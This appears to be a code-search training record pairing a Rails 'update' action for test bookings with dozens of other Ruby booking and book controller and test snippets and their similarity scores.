"def new\n @booking = Booking.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @booking }\n end\n end",
"def create_booking(params)\n credentials = Concierge::Credentials.for(\"SAW\")\n SAW::Client.new(credentials).book(params)\n end",
"def booking_params\n params.require(:booking).permit(:number_of_adults, :number_of_children, :price_id, :sale_id, :agent_id, :comment, :progress)\n end",
"def create\n @book = Book.find(book_request_params[:book_id])\n @account = Account.find(params[:account_id])\n @book_request = BookRequest.new(book: @book, reader: @account, holder: @book.account)\n respond_to do |format|\n if @book_request.save\n format.json {\n render json:\n {\n book_id: @book_request.book_id,\n book_request_state: @book_request.state_name\n }\n }\n else\n format.json { render json: @book_request.errors, status: :unprocessable_entity }\n end\n end\n end",
"def booking_params\n params.require(:booking).permit(:book_name, :book_date, :tour_name, :book_price, :book_ticket_num,:book_amount,:package_id,:user_id,:status,:tax,:total_amount,:other)\n end",
"def create\n @user = current_user\n @form = params\n @booking = Booking.new(params[:booking])\n @suite = Suite.find(params[:booking][:suite_id])\n booking = ApplicationMailer.create_new_booking_mailer(params, current_user)\n booking.set_content_type(\"text/html\")\n respond_to do |format|\n if @booking.save\n ApplicationMailer.deliver(booking)\n flash[:notice] = 'Booking was successfully created.'\n\n format.html { redirect_to @booking }\n format.xml { render :xml => @booking, :status => :created, :location => @booking }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @booking.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def booking_params\n params.require(:booking).permit(:reference)\n end",
"def test_create_transaction\n params = {\n bank_transaction: {\n bank_account_id: 1,\n date: Time.local(2012, 4, 16),\n amount: 55\n }\n }\n\n post '/api/banks/1/transactions', params\n data = ActiveSupport::JSON.decode last_response.body\n\n assert last_response.successful?\n assert_match('application/json', last_response.content_type)\n assert BankTransaction.find(data['id'])\n end",
"def create\n @offering = Offering.new(params[:offering])\n\n respond_to do |format|\n if @offering.save\n flash[:notice] = 'Offering was successfully created.'\n format.html { redirect_to(edit_offering_path(@offering, :anchor => \"features\")) }\n format.xml { render :xml => @offering, :status => :created, :location => @offering }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @offering.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def post(xmldoc)\n headers = {'Content-Type' => 'text/xml'}\n check_response( @httpcli.post(@endpoint, xmldoc, headers) )\n end",
"def create\n @gbook = Gbook.new(gbook_params)\n\n respond_to do |format|\n if @gbook.save\n format.html { redirect_to @gbook, notice: 'Gbook was successfully created.' }\n format.json { render :show, status: :created, location: @gbook }\n else\n format.html { render :new }\n format.json { render json: @gbook.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @bookings = Booking.all\n\n render json: @bookings\n end",
"def create\n @book = Book.new(book_params)\n\n if @book.save\n render json: @book, status: :created, location: @book\n else\n render json: @book.errors, status: :unprocessable_entity\n end\n end",
"def test_buying_a_product\n #START:setup\n LineItem.delete_all\n Order.delete_all\n ruby_book = products(:ruby_book)\n #END:setup\n\n #START:step1\n get \"/store/index\"\n assert_response :success\n assert_template \"index\"\n #END:step1\n \n #START:step2\n xml_http_request \"/store/add_to_cart\", :id => ruby_book.id\n assert_response :success \n \n cart = session[:cart]\n assert_equal 1, cart.items.size\n assert_equal ruby_book, cart.items[0].product\n #END:step2\n \n #START:step3\n post \"/store/checkout\"\n assert_response :success\n assert_template \"checkout\"\n #END:step3\n \n #START:step4\n post_via_redirect \"/store/save_order\",\n :order => { :name => \"Dave Thomas\",\n :address => \"123 The Street\",\n :email => \"[email protected]\",\n :pay_type => \"check\" }\n assert_response :success\n assert_template \"index\"\n assert_equal 0, session[:cart].items.size\n #END:step4\n \n #START:step5\n orders = Order.find(:all)\n assert_equal 1, orders.size\n order = orders[0]\n \n assert_equal \"Dave Thomas\", order.name\n assert_equal \"123 The Street\", order.address\n assert_equal \"[email protected]\", order.email\n assert_equal \"check\", order.pay_type\n \n assert_equal 1, order.line_items.size\n line_item = order.line_items[0]\n assert_equal ruby_book, line_item.product\n #END:step5\n end",
"def create\n @tablebooking = Tablebooking.new(tablebooking_params)\n\n respond_to do |format|\n if @tablebooking.save\n format.html { redirect_to @tablebooking, notice: 'Tablebooking was successfully created.' }\n format.json { render :show, status: :created, location: @tablebooking }\n else\n format.html { render :new }\n format.json { render json: @tablebooking.errors, status: :unprocessable_entity }\n end\n end\n end",
"def booking_params\n params.require(:booking).permit(:start_day, :end_day, :hikers_nb, :user_id, :refuge_id, :status, :payment, :amount)\n end",
"def create\n invalid_booking = false\n duration = params[:booking][:duration].to_i\n quantity = params[:booking][:quantity].to_i\n bk_day = params[:booking][:booking_day]\n bk_day = Date.strptime(bk_day, '%Y-%m-%d')\n last_day = bk_day + duration.days\n room = params[:booking][:room_id]\n @bookings = []\n @availability_update = []\n\n #Check Availability for room on each day and given quantity.\n #If all available for all days, create bookings and save.\n #Reduce Availability quantity for each day.\n\n (bk_day..last_day).each {|day|\n available = Availability.where(available_day:day).where(room_id:room).where(\"quantity>?\",quantity).first\n\n if available\n #build on params and given date.\n #then add to array of bookings/\n @booking = current_user.bookings.build(booking_params)\n @booking.booking_day = day\n @bookings << @booking\n available.quantity = available.quantity - quantity\n @availability_update << available\n else\n invalid_booking = true\n break\n end\n }\n\n if !invalid_booking\n @bookings.each(&:save!)\n @availability_update.each(&:save!)\n render :json => current_user.bookings, status: :created\n else\n puts 'invalid booking'\n render :json => current_user.bookings, status: :unprocessable_entity\n end\n\n end",
"def booking_params\n params.permit(:user_id, :job_id, :acceptance)\n end",
"def create\n save_params\n @booking = Booking.build(params[:booking])\n @booking.save\n redirect_to :back\n end",
"def test_buying_a_product\n LineItem.delete_all\n Order.delete_all\n ruby_book = products(:ruby_book)\n \n get \"/store/index\"\n assert_response :success\n assert_template \"index\"\n \n xml_http_request :put, \"/store/add_to_cart\", :id => ruby_book.id\n assert_response :success\n \n post \"/store/checkout\"\n assert_response :success\n assert_template \"checkout\"\n \n post_via_redirect \"/store/save_order\",\n :order => { :name => \"Dave Thomas\",\n :address => \"123 The Street\",\n :email => \"[email protected]\",\n :pay_type => \"check\"\n }\n assert_response :success\n assert_template \"index\"\n assert_equal 0, session[:cart].items.size\n \n orders = Order.find(:all)\n assert_equal 1, orders.size\n order = orders[0]\n \n assert_equal \"Dave Thomas\", order.name\n assert_equal \"123 The Street\", order.address\n assert_equal \"[email protected]\", order.email\n assert_equal \"check\", order.pay_type\n \n assert_equal 1, order.line_items.size\n line_item = order.line_items[0]\n assert_equal ruby_book, line_item.product\n end",
"def create\n @book = Book.new(params[:book])\n\n respond_to do |format|\n if @book.save\n format.html { redirect_to @book, notice: 'Book was successfully created.' }\n format.xml { head :ok }\n format.json { render json: @book, status: :created, location: @book }\n\n else\n format.html { render action: \"new\" }\n format.xml { render xml: @book.errors, status: :unprocessable_entity}\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @bookings = Booking.all\n end",
"def index\n @bookings = Booking.all\n end",
"def index\n @bookings = Booking.all\n end",
"def index\n @bookings = Booking.all\n end",
"def index\n @bookings = Booking.all\n end",
"def index\n @bookings = Booking.all\n end",
"def index\n @bookings = Booking.all\n end",
"def index\n @bookings = Booking.all\n end",
"def index\n @bookings = Booking.all\n end",
"def index\n @bookings = Booking.all\n end",
"def index\n @bookings = Booking.all\n end",
"def index\n @bookings = Booking.all\n end",
"def index\n @bookings = Booking.all\n end",
"def index\n # @bookings = Booking.all\n begin\n @response = Booking.get_bookings\n rescue RestClient::Exception => exception\n @error = exception.response\n end\n # binding.pry\n end",
"def get_bookings_xml(property, days, &block)\n booking_ids = get_booking_ids(property, days)\n builder = Nokogiri::XML::Builder.new do |xml|\n xml.GetBookingDetailsRequest('xmlns' => AgodaChannel::XMLNS) {\n xml.Authentication(:APIKey => AgodaChannel::API_KEY, :HotelID => property.agoda_hotel_id)\n xml.BookingIDList {\n booking_ids.each do |booking_id|\n puts booking_id\n xml.BookingID booking_id\n end\n }\n }\n end\n\n request_xml = builder.to_xml\n response_xml = AgodaChannel.post_xml(request_xml)\n\n xml_doc = Nokogiri::XML(response_xml)\n begin\n success = xml_doc.xpath('//agoda:StatusResponse', 'agoda' => AgodaChannel::XMLNS).attr('status').value\n # 204 is when no inventory returned.\n if success == '200' or success == '204'\n block.call xml_doc\n else\n property_channel = PropertyChannel.find_by_property_id_and_channel_id(property.id, channel.id)\n logs_get_bookings_failure channel.name, request_xml, xml_doc, property, property_channel, APP_CONFIG[:agoda_endpoint]\n end\n rescue\n property_channel = PropertyChannel.find_by_property_id_and_channel_id(property.id, channel.id)\n logs_get_bookings_failure channel.name, request_xml, xml_doc, property, property_channel, APP_CONFIG[:agoda_endpoint]\n end\n end",
"def create\n puts \"------params create #{params.inspect}\"\n # @booking = current_user.bookings.create(booking_params)\n # redirect_to @booking.item, notice: \"Your booking has been created...\"\n @item = Item.find(params[:item_id])\n @booking = @item.bookings.build(booking_params)\n\n @booking.user = current_user\n\n if params[:commit] == 'Book'\n puts @booking.start_date.strftime(\"%Y-%m-%d\").inspect\n @start_date = @booking.start_date.strftime(\"%Y-%m-%d\")\n @end_date = @booking.end_date.strftime(\"%Y-%m-%d\")\n\n found = false\n @all_bookings = Booking.all\n\n @all_bookings.each do |booking|\n if booking.has_paid == TRUE\n start_date= booking.start_date.strftime(\"%Y-%m-%d\")\n end_date = booking.end_date.strftime(\"%Y-%m-%d\")\n if @start_date.between?(start_date, end_date) || @end_date.between?(start_date, end_date)\n if booking.item_id == @booking.item_id\n found = true\n end\n end\n end\n end\n\n if found == true\n redirect_to request.referrer, notice: \"This dress is already booked for this period.\"\n else\n @booking.save!\n redirect_to edit_item_booking_url(@item,@booking), notice: \"You have booked the dress successfully. Please contact owner to fix a time for trial or directly proceed with payment.\"\n end\n end\n\n if params[:commit] == 'Pay'\n respond_to do |format|\n if @booking.save && params[:commit] == 'Pay'\n format.html { redirect_to item_booking_url(@item,@booking), notice: 'Invoice' }\n format.json { render :show, status: :created, location: @booking }\n # f.json { render action: 'show', status: :created, location: @step }\n else\n format.html { render action: 'new' }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n\n end\n end\n\n end",
"def create\n @booking = Booking.new(booking_params)\n\n if @booking.job.type == \"Volunteering\" || @booking.job.type == \"Bootcamp\"\n @booking.update(acceptance: true)\n UserMailer.booking1_email(@booking).deliver_now\n end\n\n respond_to do |format|\n if @booking.save\n UserMailer.booking_email(@booking).deliver_now\n format.html { redirect_to jobs_path, notice: 'Application was successfully created.' }\n format.json { render :show, status: :created, location: jobs_path }\n else\n format.html { render :new }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end"
] | [
"0.58407605",
"0.57777464",
"0.5776558",
"0.56741965",
"0.56319493",
"0.5569003",
"0.55311906",
"0.5528845",
"0.5528845",
"0.5522597",
"0.55096954",
"0.5507755",
"0.54934675",
"0.5476046",
"0.5465962",
"0.5455338",
"0.54481065",
"0.54252344",
"0.5424934",
"0.540971",
"0.5377843",
"0.5372516",
"0.53585815",
"0.53499264",
"0.53493285",
"0.5342856",
"0.5325914",
"0.5318413",
"0.5297761",
"0.52972114",
"0.5277598",
"0.5256248",
"0.52535903",
"0.52490705",
"0.52421904",
"0.52419704",
"0.52417785",
"0.5239807",
"0.5239765",
"0.5230493",
"0.52287453",
"0.5225072",
"0.5224772",
"0.5220785",
"0.52189666",
"0.52164966",
"0.52136874",
"0.5212131",
"0.52031976",
"0.5199624",
"0.51987106",
"0.51965797",
"0.5193548",
"0.5172937",
"0.51720154",
"0.51671475",
"0.5166246",
"0.51650715",
"0.5163801",
"0.51599807",
"0.515844",
"0.5157967",
"0.5152928",
"0.5152797",
"0.51474035",
"0.5146514",
"0.5144358",
"0.5144009",
"0.5141978",
"0.5136313",
"0.51358384",
"0.5135514",
"0.5135357",
"0.51351845",
"0.5131432",
"0.5121781",
"0.5117329",
"0.51146305",
"0.511422",
"0.5113339",
"0.5113099",
"0.5110971",
"0.509821",
"0.5091154",
"0.5090326",
"0.5090326",
"0.5090326",
"0.5090326",
"0.5090326",
"0.5090326",
"0.5090326",
"0.5090326",
"0.5090326",
"0.5090326",
"0.5090326",
"0.5090326",
"0.5090326",
"0.50890684",
"0.5088492",
"0.5087782",
"0.50862825"
] | 0.0 | -1 |
PUT /test_bookings/1 PUT /test_bookings/1.xml | def update
@test_booking = TestBooking.find(params[:id])
@session_id=session[:id]
@session = Session.find(session[:id])
@person = Person.find(@session.person_id)
@item_master=ChargeMaster.all
respond_to do |format|
if @test_booking.update_attributes(params[:test_booking])
format.html { redirect_to("/test_bookings/report/#{@test_booking.id}?print_type=original&format=pdf") }
format.xml { head :ok }
else
format.html { render :action => "edit" }
format.xml { render :xml => @test_booking.errors, :status => :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def update\n @booking = Booking.find(params[:id])\n @booking.update_attributes(params[:booking])\n respond_with(@booking)\n end",
"def update\n @book = Book.find(params[:id])\n \n respond_to do |format|\n if @book.update_attributes_and_index(params[:book])\n flash[:notice] = 'Book was successfully updated.'\n format.html { redirect_to(@book) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @book.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @booking = @room.bookings.find(params[:id])\n\n respond_to do |format|\n if @booking.update_attributes(params[:booking])\n flash[:notice] = 'Booking was successfully updated.'\n format.html { redirect_to property_room_bookings_url(@property, @room) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @booking.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def set_api_v1_booking\n @api_v1_booking = Booking.find(params[:id])\n end",
"def update\n @booking = Booking.find(params[:id])\n\n respond_to do |format|\n if @booking.update_attributes(params[:booking])\n flash[:notice] = 'Booking was successfully updated.'\n format.html { redirect_to(@booking) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @booking.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def put(uri, xml)\r\n req = Net::HTTP::Put.new(uri)\r\n req[\"content-type\"] = \"application/xml\"\r\n req.body = xml\r\n request(req)\r\n end",
"def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n \n format.json { render json: @book, status: :created, location: @book }\n else\n \n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"def test_put_invoices_1_xml\n @parameters = {:invoice => {:number => 'NewNumber'}}\n \n Redmine::ApiTest::Base.should_allow_api_authentication(:put,\n '/invoices/1.xml',\n {:invoice => {:number => 'NewNumber'}},\n {:success_code => :ok})\n \n assert_no_difference('Invoice.count') do\n put '/invoices/1.xml', @parameters, credentials('admin')\n end\n \n invoice = Invoice.find(1)\n assert_equal \"NewNumber\", invoice.number\n \n end",
"def update\n @booking = Booking.find(params[:id])\n\n if @booking.update(booking_params)\n head :no_content\n else\n render json: @booking.errors, status: :unprocessable_entity\n end\n end",
"def update(id, name=\"Updated Name\", age=\"55\")\r\n xml_req =\r\n \"<?xml version='1.0' encoding='UTF-8'?>\r\n <person>\r\n <id type='integer'>#{id}</id>\r\n <name>#{name}</name>\r\n <age>#{age}</age> \r\n </person>\"\r\n request = Net::HTTP::Put.new(\"#{@url}/#{id}.xml\")\r\n request.add_field \"Content-Type\", \"application/xml\"\r\n request.body = xml_req\r\n http = Net::HTTP.new(@uri.host, @uri.port)\r\n response = http.request(request)\r\n # no response body will be returned\r\n case response\r\n when Net::HTTPSuccess\r\n return \"#{response.code} OK\"\r\n else\r\n return \"#{response.code} ERROR\"\r\n end\r\n end",
"def update\n @api_book = Api::Book.find(params[:id])\n\n if @api_book.update(api_book_params)\n head :no_content\n else\n render json: @api_book.errors, status: :unprocessable_entity\n end\n end",
"def update opts = {}\n opts[:headers] ||= {}\n opts[:headers]['Content-Type'] ||= 'text/xml'\n post 'update', opts\n end",
"def update\n\n respond_to do |format|\n if _create_or_update()\n\tformat.xml { render :xml => {:success=>true} }\n format.html { redirect_to @book_series, :notice => 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n\tformat.xml { head :fail }\n format.json { render :json => @book_series.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def handle_update(booking_data, room_data, property)\n bookingcom_room_reservation_id = room_data.xpath('./roomreservation_id').text();\n status = booking_data.xpath('./status').text();\n existing_booking = Booking.find_by_bookingcom_room_reservation_id(bookingcom_room_reservation_id)\n\n # do nothing if this xml handled before\n last_room_booking_xml = Nokogiri::XML(existing_booking.bookingcom_room_xml)\n\n puts \"#{bookingcom_room_reservation_id} #{status} #{EquivalentXml.equivalent?(last_room_booking_xml, room_data, opts = { :element_order => false, :normalize_whitespace => true })}\"\n puts last_room_booking_xml\n puts room_data\n\n # compare booking xml with the previously stored then do update\n if status == BookingcomBooking::TYPE_MODIFY and !EquivalentXml.equivalent?(last_room_booking_xml, room_data, opts = { :element_order => false, :normalize_whitespace => true })\n\n existing_booking.status = status\n existing_booking.booking_xml = booking_data.to_s\n existing_booking.bookingcom_room_xml = room_data.to_s\n\n existing_booking.guest_name = room_data.xpath('./guest_name').text();\n existing_booking.date_start = room_data.xpath('./arrival_date').text();\n existing_booking.date_end = room_data.xpath('./departure_date').text();\n existing_booking.amount = room_data.xpath('./totalprice').text()\n existing_booking.save\n end\n end",
"def update\n @booking = Booking.find(params[:id])\n\n respond_to do |format|\n if @booking.update_attributes(params[:booking])\n format.html { redirect_to @booking, notice: 'Booking was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @guest_book = GuestBook.find(params[:id])\n\n respond_to do |format|\n if @guest_book.update_attributes(params[:guest_book])\n flash[:notice] = 'GuestBook was successfully updated.'\n format.html { redirect_to(@guest_book) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @guest_book.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @test_booking_child = TestBookingChild.find(params[:id])\n\n respond_to do |format|\n if @test_booking_child.update_attributes(params[:test_booking_child])\n format.html { redirect_to(@test_booking_child, :notice => 'TestBookingChild was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @test_booking_child.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @booking = Booking.find(params[:id])\n\n respond_to do |format|\n if @booking.update_attributes(params[:booking])\n format.html { redirect_to @booking, notice: 'Booking was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @booking = Booking.find(params[:id])\n\n respond_to do |format|\n if @booking.update_attributes(params[:booking])\n format.html { redirect_to @booking, notice: 'Booking was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @booking = Booking.find(params[:id])\n\n respond_to do |format|\n if @booking.update_attributes(params[:booking])\n format.html { redirect_to @booking, notice: 'Booking was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n flash[:notice] = 'Book was successfully updated.'\n format.html { redirect_to(@book) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @book.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n flash[:notice] = 'Book was successfully updated.'\n format.html { redirect_to(@book) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @book.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n flash[:notice] = 'Book was successfully updated.'\n format.html { redirect_to(@book) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @book.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n flash[:notice] = 'Book was successfully updated.'\n format.html { redirect_to(@book) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @book.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @book = @collection.books.find(params[:id])\n #original: @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to book_series_collection_books_url(@book_series, @collection), notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to(@book, :notice => 'Book was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @book.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to(@book, :notice => 'Book was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @book.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to(@book, :notice => 'Book was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @book.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @addbook = Addbook.find(params[:id])\n\n respond_to do |format|\n if @addbook.update_attributes(params[:addbook])\n flash[:notice] = 'Addbook was successfully updated.'\n format.html { redirect_to(@addbook) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @addbook.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update(id, name= \"Updated Name\")\n xml_req =\n \"<?xml version='1.0' encoding='UTF-8'?>\n <customer>\n <id type='integer'>#{id}</id>\n <name>#{name}</name>\n </customer>\"\n\n request = Net::HTTP::Put.new(\"#{@url}/#{id}.xml\")\n request.add_field \"Content-Type\", \"application/xml\"\n request.body = xml_req\n\n http = Net::HTTP.new(@uri.host, @uri.port)\n response = http.request(request)\n\n # no response body will be returned\n case response\n when Net::HTTPSuccess\n return \"#{response.code} OK\"\n else\n return \"#{response.code} ERROR\"\n end\n end",
"def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.xml { head :ok }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.xml { render xml: @book.errors, status: :unprocessable_entity}\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"def test_should_update_link_via_API_XML\r\n get \"/logout\"\r\n put \"/links/1.xml\", :link => {:user_id => 1,\r\n :title => 'API Link 1',\r\n :url => 'http://www.api.com'}\r\n assert_response 401\r\n end",
"def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n flash[:notice] = 'Book was successfully updated.'\n format.html { redirect_to book_url(@book) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @book.errors.to_xml }\n end\n end\n end",
"def update\n @book = Book.find(params[:id])\n @book.attributes = params[:book]\n # a break point for debugging:\n # debugger\n client = Goodreads.new\n book_info = client.book_by_isbn(params[:book][:isbn])\n @book.title = book_info.title if @book.title.blank?\n respond_to do |format|\n if @book.save\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @ninety_ten_booking.update(ninety_ten_booking_params)\n format.html { redirect_to @ninety_ten_booking, notice: 'Ninety ten booking was successfully updated.' }\n format.json { render :show, status: :ok, location: @ninety_ten_booking }\n else\n format.html { render :edit }\n format.json { render json: @ninety_ten_booking.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @booking.update_attributes(booking_params)\n end",
"def update\n\n if params[:action] == \"RETURN_BOOK\" \n @book.return()\n elseif params[:action] == \"BORROW_BOOK\"\n @book.borrow()\n end\n \n if @book.update(book_params)\n head :no_content\n else\n render json: @book.errors, status: :unprocessable_entity\n end\n end",
"def update\n\n if params[ :cancel ]\n flash[ :notice ] = \"Booking edit cancelled\"\n redirect_to bookings_url( :page => params[ :source_page ] )\n else\n \n @booking = Booking.find( params[ :id ] )\n \n respond_to do |format|\n if @booking.update_attributes( params[ :booking ] )\n format.html {\n flash[ :notice ] = @booking.despatched? ? \"Booking despatched\" : \"Booking updated\"\n redirect_to bookings_url( :page => params[ :source_page ] )\n }\n format.xml { render :nothing => true }\n else\n format.html { render :action => @booking.despatched? ? \"despatch\" : \"edit\" }\n format.xml { render :xml => @booking.errors.to_xml }\n end\n end\n \n end\n \n end",
"def update\n params[:book_shelf]['user'] = User.where(:id => params[:book_shelf]['user']).first\n params[:book_shelf]['book'] = Book.where(:id => params[:book_shelf]['book']).first\n @book_shelf = BookShelf.find(params[:id])\n respond_to do |format|\n if @book_shelf.update_attributes(params[:book_shelf])\n format.html { redirect_to @book_shelf, notice: 'Book shelf was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book_shelf.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\r\n @book = Book.find(params[:id])\r\n\r\n respond_to do |format|\r\n if @book.update_attributes(params[:book])\r\n format.html { redirect_to books_url }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: \"edit\" }\r\n format.json { render json: @book.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def update\n @house_book = HouseBook.find(params[:id])\n\n respond_to do |format|\n if @house_book.update_attributes(params[:house_book])\n format.html { redirect_to(@house_book, :notice => 'House book was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @house_book.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @booking.update(booking_params)\n redirect_to booking_path(@booking.boat)\n end",
"def update\n\t\trespond_to do |format|\n\t\t\tclient = Goodreads::Client.new(api_key: \"rSkvvZY8Wx27zcj4AfHA\", api_secret: \"S5WOpmY8pVtaEu1IwNn51DBafjoEIbjuxZdE6sNM\")\n\t\t\tbook = client.book_by_isbn(book_params[:isbn])\n\t\t\[email protected] = book.title\n\t\t\[email protected] = strip_tags(book.description)\n\t\t\[email protected] = book.work.original_title\n\t\t\[email protected] = book.num_pages\n\t\t\[email protected] = book.average_rating\n\t\t\[email protected] = book.authors.author.name\n\t\t\[email protected] = book.publisher\n\t\t\[email protected]\n\t\t\tformat.html { redirect_to @book, notice: 'Book was successfully updated.' }\n\t\t\tformat.json { render :show, status: :ok, location: @book }\n\t\tend\n end",
"def update\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to bookings_path, notice: 'Booking was successfully updated.' }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to bookings_url, notice: 'Booking was successfully updated.' }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @book = Book.find_by_id(params[:id])\n\n if @book.present?\n if @book.update(book_params)\n render json: {\n type: 'success',\n result: @book\n }, status: :created\n else\n render json: {\n type: 'failed',\n message: @book.errors,\n result: {}\n }, status: :bad_request\n end\n else\n render json: {\n type: 'failed',\n message: 'data with id:' + params[:id] + ' not found',\n result: {},\n }, status: :not_found\n end\n end",
"def update\n\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to @booking, notice: 'Booking was successfully updated.' }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n book = Book.find(params[:id])\n book.update_attributes(params[:book])\n redirect_to(book)\n end",
"def update\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to @booking, notice: \"Booking was successfully updated.\" }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to @booking, notice: \"Booking was successfully updated.\" }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end",
